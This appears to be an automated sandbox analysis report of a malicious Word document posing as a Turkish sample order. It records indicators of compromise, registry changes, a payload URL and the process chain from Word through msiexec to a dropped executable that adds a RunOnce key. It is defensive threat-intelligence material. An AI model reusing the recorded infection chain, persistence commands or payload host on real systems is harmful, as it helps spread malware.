43874a9fbb28f47bc007e30c0c5494bb292e376398db3c446aa8567f8a4a49b1

Analysis

max time kernel
120s
max time network
154s
platform
windows7_x64
resource
win7-20220331-en
submitted
05/04/2022, 17:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc
Size 54KB
Sample220405-wdf3wsebgr
SHA256 43874a9fbb28f47bc007e30c0c5494bb292e376398db3c446aa8567f8a4a49b1
MD5 26b3f7fcf34d2e05701b2a412b8567be
SHA1 6da0bf010d03ec5aa962a6c5a0dd59244c7ce6e9
SHA512 d38731f0694212a91f4604c45891228fe3b4e67cc8c0a4960a8d401af3949432cf22adc259b8aca07126547f9e28dfae66f5a16fb0e00daad2c9a84496830edd
MD5 SHA1 SHA512

Score

8^/10

discovery persistence

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2012	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
1228	BADDEST.exe

Loads dropped DLL 4 IoCs

pid	Process
1528	MsiExec.exe
1528	MsiExec.exe
1528	MsiExec.exe
1528	MsiExec.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1928	ICACLS.EXE
1524	ICACLS.EXE

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	BADDEST.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	BADDEST.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF0D8.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE
File opened for modification	C:\Windows\Installer\MSIDCE9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF213.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\Installer\MSIF0C8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\6cc8ec.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB868.tmp	msiexec.exe
File created	C:\Windows\Installer\6cc8ec.ipi	msiexec.exe
File created	C:\Windows\Installer\6cc8ee.msi	msiexec.exe
File created	C:\Windows\Installer\{A7212B64-9C89-46E0-8823-AB5801E11C87}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{A7212B64-9C89-46E0-8823-AB5801E11C87}\ProductIcon	msiexec.exe

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3422572840-2899912402-917774768-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D3A968D7A26876F4EB5B04E79EFFADF3\46B2127A98C90E648832BA85101EC178	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\SourceList\LastUsedSource = "u;1;https://graydonscrossing.com/VEE/2/"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\Version = "184567738"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\PackageCode = "4BE56CE68579BF749944774B55F3E3E3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\46B2127A98C90E648832BA85101EC178	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\46B2127A98C90E648832BA85101EC178\SourceList\URL	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2012	msiexec.exe
2012	msiexec.exe
1116	powershell.exe
1412	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1956	WINWORD.EXE
Token: SeIncreaseQuotaPrivilege	1956	WINWORD.EXE
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeSecurityPrivilege	2012	msiexec.exe
Token: SeCreateTokenPrivilege	1956	WINWORD.EXE
Token: SeAssignPrimaryTokenPrivilege	1956	WINWORD.EXE
Token: SeLockMemoryPrivilege	1956	WINWORD.EXE
Token: SeIncreaseQuotaPrivilege	1956	WINWORD.EXE
Token: SeMachineAccountPrivilege	1956	WINWORD.EXE
Token: SeTcbPrivilege	1956	WINWORD.EXE
Token: SeSecurityPrivilege	1956	WINWORD.EXE
Token: SeTakeOwnershipPrivilege	1956	WINWORD.EXE
Token: SeLoadDriverPrivilege	1956	WINWORD.EXE
Token: SeSystemProfilePrivilege	1956	WINWORD.EXE
Token: SeSystemtimePrivilege	1956	WINWORD.EXE
Token: SeProfSingleProcessPrivilege	1956	WINWORD.EXE
Token: SeIncBasePriorityPrivilege	1956	WINWORD.EXE
Token: SeCreatePagefilePrivilege	1956	WINWORD.EXE
Token: SeCreatePermanentPrivilege	1956	WINWORD.EXE
Token: SeBackupPrivilege	1956	WINWORD.EXE
Token: SeRestorePrivilege	1956	WINWORD.EXE
Token: SeShutdownPrivilege	1956	WINWORD.EXE
Token: SeDebugPrivilege	1956	WINWORD.EXE
Token: SeAuditPrivilege	1956	WINWORD.EXE
Token: SeSystemEnvironmentPrivilege	1956	WINWORD.EXE
Token: SeChangeNotifyPrivilege	1956	WINWORD.EXE
Token: SeRemoteShutdownPrivilege	1956	WINWORD.EXE
Token: SeUndockPrivilege	1956	WINWORD.EXE
Token: SeSyncAgentPrivilege	1956	WINWORD.EXE
Token: SeEnableDelegationPrivilege	1956	WINWORD.EXE
Token: SeManageVolumePrivilege	1956	WINWORD.EXE
Token: SeImpersonatePrivilege	1956	WINWORD.EXE
Token: SeCreateGlobalPrivilege	1956	WINWORD.EXE
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe
Token: SeRestorePrivilege	2012	msiexec.exe
Token: SeTakeOwnershipPrivilege	2012	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1956	WINWORD.EXE
1956	WINWORD.EXE

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 860	1956	WINWORD.EXE	28
PID 1956 wrote to memory of 860	1956	WINWORD.EXE	28
PID 1956 wrote to memory of 860	1956	WINWORD.EXE	28
PID 1956 wrote to memory of 860	1956	WINWORD.EXE	28
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 2012 wrote to memory of 1528	2012	msiexec.exe	30
PID 1528 wrote to memory of 1928	1528	MsiExec.exe	31
PID 1528 wrote to memory of 1928	1528	MsiExec.exe	31
PID 1528 wrote to memory of 1928	1528	MsiExec.exe	31
PID 1528 wrote to memory of 1928	1528	MsiExec.exe	31
PID 1528 wrote to memory of 2008	1528	MsiExec.exe	33
PID 1528 wrote to memory of 2008	1528	MsiExec.exe	33
PID 1528 wrote to memory of 2008	1528	MsiExec.exe	33
PID 1528 wrote to memory of 2008	1528	MsiExec.exe	33
PID 1528 wrote to memory of 1228	1528	MsiExec.exe	36
PID 1528 wrote to memory of 1228	1528	MsiExec.exe	36
PID 1528 wrote to memory of 1228	1528	MsiExec.exe	36
PID 1528 wrote to memory of 1228	1528	MsiExec.exe	36
PID 1228 wrote to memory of 1484	1228	BADDEST.exe	37
PID 1228 wrote to memory of 1484	1228	BADDEST.exe	37
PID 1228 wrote to memory of 1484	1228	BADDEST.exe	37
PID 1484 wrote to memory of 1116	1484	cmd.exe	39
PID 1484 wrote to memory of 1116	1484	cmd.exe	39
PID 1484 wrote to memory of 1116	1484	cmd.exe	39
PID 1484 wrote to memory of 1412	1484	cmd.exe	40
PID 1484 wrote to memory of 1412	1484	cmd.exe	40
PID 1484 wrote to memory of 1412	1484	cmd.exe	40
PID 1528 wrote to memory of 1524	1528	MsiExec.exe	41
PID 1528 wrote to memory of 1524	1528	MsiExec.exe	41
PID 1528 wrote to memory of 1524	1528	MsiExec.exe	41
PID 1528 wrote to memory of 1524	1528	MsiExec.exe	41
PID 1528 wrote to memory of 580	1528	MsiExec.exe	43
PID 1528 wrote to memory of 580	1528	MsiExec.exe	43
PID 1528 wrote to memory of 580	1528	MsiExec.exe	43
PID 1528 wrote to memory of 580	1528	MsiExec.exe	43

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:860

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 22D915F8382E76205F51BAAA85DB3257
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    PID:1928
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    PID:2008
- - C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
